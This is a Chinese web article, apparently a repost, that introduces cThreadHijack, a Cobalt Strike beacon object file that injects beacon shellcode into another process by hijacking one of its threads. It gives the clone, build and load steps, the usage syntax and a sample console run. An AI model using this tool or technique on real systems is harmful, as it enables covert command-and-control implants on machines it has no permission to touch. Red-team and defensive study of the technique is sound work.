如何使用cThreadHijack实现远程进程注入研究

关于cThreadHijack

cThreadHijack是一个针对远程进程注入信标对象文件(BOF)，该工具主要通过线程劫持技术实现其功能，并且不会生成任何远程线程。

运行机制

cThreadHijack可以根据用户提供的监听器参数来生成原始信标Shellcode，并根据用户提供的PID参数将其注入至远程进程中，这一步主要利用的是VirtualAllocEx和WriteProcessMemory方法。

接下来，cThreadHijack并不会通过CreateRemoteThread或其他API生成一个新的远程线程，而是识别目标进程中的第一个线程，挂起目标线程之后，它便会通过一个CONTEXT结构体来获取线程CPU状态的内容。接下来，它会修改CONTEXT结构体中RIP寄存器成员的地址，并将其指向远程Payload。

在执行之前，cThreadHijack会将一个封装了信标Shellcode的程序添加至一个针对CreateThread的调用方法中。CreateThread程序封装在一个名叫NtContinue的函数调用程序，可以允许之前被劫持的线程在不导致远程进程崩溃的前提下恢复运行。cThreadHijack的信标Payload在生成时会带有一个“线程退出函数”，以允许进程在信标退出之后继续执行。

信标监听器的名称如果包含空格的话，必须放在引号中。

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地：

 
 
    
  
  
  1. git clone https://github.com/connormcgarr/cThreadHijack.git 
    2.

项目构建

首先，在一台Windows虚拟机上，点击Win键，输入“x64 Native Tools”打开“x64 Native Tools Command Prompt for VS”对话框。

接下来，将目录修改为“C:\path\to\cThreadHijack”。

然后运行下列命令：

 
 
    
  
  
  1. nmake -f Makefile.msvc build 
    2.

最后，通过Cobalt Strike的“Script Console”以及参数“load /path/to/cThreadHijack.cna”来加载cThreadHijack.cna。

工具使用

 
 
    
  
  
  1. cThreadHijack PID LISTENER_NAME 
    2.

运行结果样例如下：

 
 
    
  
  
  1. beacon> cThreadHijack 7340 TESTING 
    2. 
  
  
  2.  
    3. 
  
  
  3. [+] host called home, sent: 268433 bytes 
    4. 
  
  
  4.  
    5. 
  
  
  5. [+] received output: 
    6. 
  
  
  6.  
    7. 
  
  
  7. [+] Target process PID: 7340 
    8. 
  
  
  8.  
    9. 
  
  
  9.   
    10. 
  
  
  10.  
    11. 
  
  
  11. [+] received output: 
    12. 
  
  
  12.  
    13. 
  
  
  13. [+] Opened a handle to PID 7340 
    14. 
  
  
  14.  
    15. 
  
  
  15.   
    16. 
  
  
  16.  
    17. 
  
  
  17. [+] received output: 
    18. 
  
  
  18.  
    19. 
  
  
  19. [+] Found a thread in the target process! Thread ID: 10212 
    20. 
  
  
  20.  
    21. 
  
  
  21.   
    22. 
  
  
  22.  
    23. 
  
  
  23. [+] received output: 
    24. 
  
  
  24.  
    25. 
  
  
  25. [+] Suspending the targeted thread... 
    26. 
  
  
  26.  
    27. 
  
  
  27.   
    28. 
  
  
  28.  
    29. 
  
  
  29. [+] received output: 
    30. 
  
  
  30.  
    31. 
  
  
  31. [+] Wrote Beacon shellcode to the remote process! 
    32. 
  
  
  32.  
    33. 
  
  
  33.   
    34. 
  
  
  34.  
    35. 
  
  
  35. [+] received output: 
    36. 
  
  
  36.  
    37. 
  
  
  37. [+] Virtual memory for CreateThread and NtContinue routines allocated at 0x201f4ab0000 inside of the remote process! 
    38. 
  
  
  38.  
    39. 
  
  
  39.   
    40. 
  
  
  40.  
    41. 
  
  
  41. [+] received output: 
    42. 
  
  
  42.  
    43. 
  
  
  43. [+] Size of NtContinue routine: 64 bytes 
    44. 
  
  
  44.  
    45. 
  
  
  45. [+] Size of CONTEXT structure: 1232 bytes 
    46. 
  
  
  46.  
    47. 
  
  
  47. [+] Size of stack alignment routine: 4 
    48. 
  
  
  48.  
    49. 
  
  
  49. [+] Size of CreateThread routine: 64 
    50. 
  
  
  50.  
    51. 
  
  
  51. [+] Size of shellcode: 261632 bytes 
    52. 
  
  
  52.  
    53. 
  
  
  53.   
    54. 
  
  
  54.  
    55. 
  
  
  55. [+] received output: 
    56. 
  
  
  56.  
    57. 
  
  
  57. [+] Wrote payload to buffer to previously allocated buffer inside of! 
    58. 
  
  
  58.  
    59. 
  
  
  59.   
    60. 
  
  
  60.  
    61. 
  
  
  61. [+] received output: 
    62. 
  
  
  62.  
    63. 
  
  
  63. [+] Current RIP: 0x7ffa55df69a4 
    64. 
  
  
  64.  
    65. 
  
  
  65.   
    66. 
  
  
  66.  
    67. 
  
  
  67. [+] received output: 
    68. 
  
  
  68.  
    69. 
  
  
  69. [+] Successfully pointed the target thread's RIP register to the shellcode! 
    70. 
  
  
  70.  
    71. 
  
  
  71.   
    72. 
  
  
  72.  
    73. 
  
  
  73. [+] received output: 
    74. 
  
  
  74.  
    75. 
  
  
  75. [+] Current RIP: 0x201f4ab0000 
    76. 
  
  
  76.  
    77. 
  
  
  77.   
    78. 
  
  
  78.  
    79. 
  
  
  79. [+] received output: 
    80. 
  
  
  80.  
    81. 
  
  
  81. [+] Resuming the thread! Please wait a few moments for the Beacon payload to execute... 
    82.

项目地址

cThreadHijack：【GitHub传送门】

当前标题：如何使用cThreadHijack实现远程进程注入研究
网站网址：http://www.csdahua.cn/qtweb/news49/432549.html

网站建设、网络推广公司-快上网，是专注品牌与效果的网站制作，网络营销seo公司；服务项目有等

广告

声明：本网站发布的内容（图片、视频和文字）以用户投稿、用户转载内容为主，如果涉及侵权请尽快告知，我们将会在第一时间删除。文章观点不代表本网站立场，如需处理请联系客服。电话：028-86922220；邮箱：631063699@qq.com。内容未经允许不得转载，或转载时需注明来源： 快上网

成都快上网为您推荐相关内容

品牌网站建设知识

行业网站建设

服务器托管　　 　眉山联通机房　　 　景区导示设计制作　　 　轻质隔墙板　　 　深圳纱窗安装　　 　成都橡塑保温板　　 　做网站设计　　 　小程序开发公司　　 　鑫友邦火锅桌　　 　成都多线机房　　 　温江电信机房　　 　广汉锦华　　 　抖音代运营　　 　建站定制开发　　 　网站开发　　 　遂宁做网站　　 　重庆电信五里店机房　　 　微信小程序开发　　 　香港机房服务器托管　　 　西云主机托管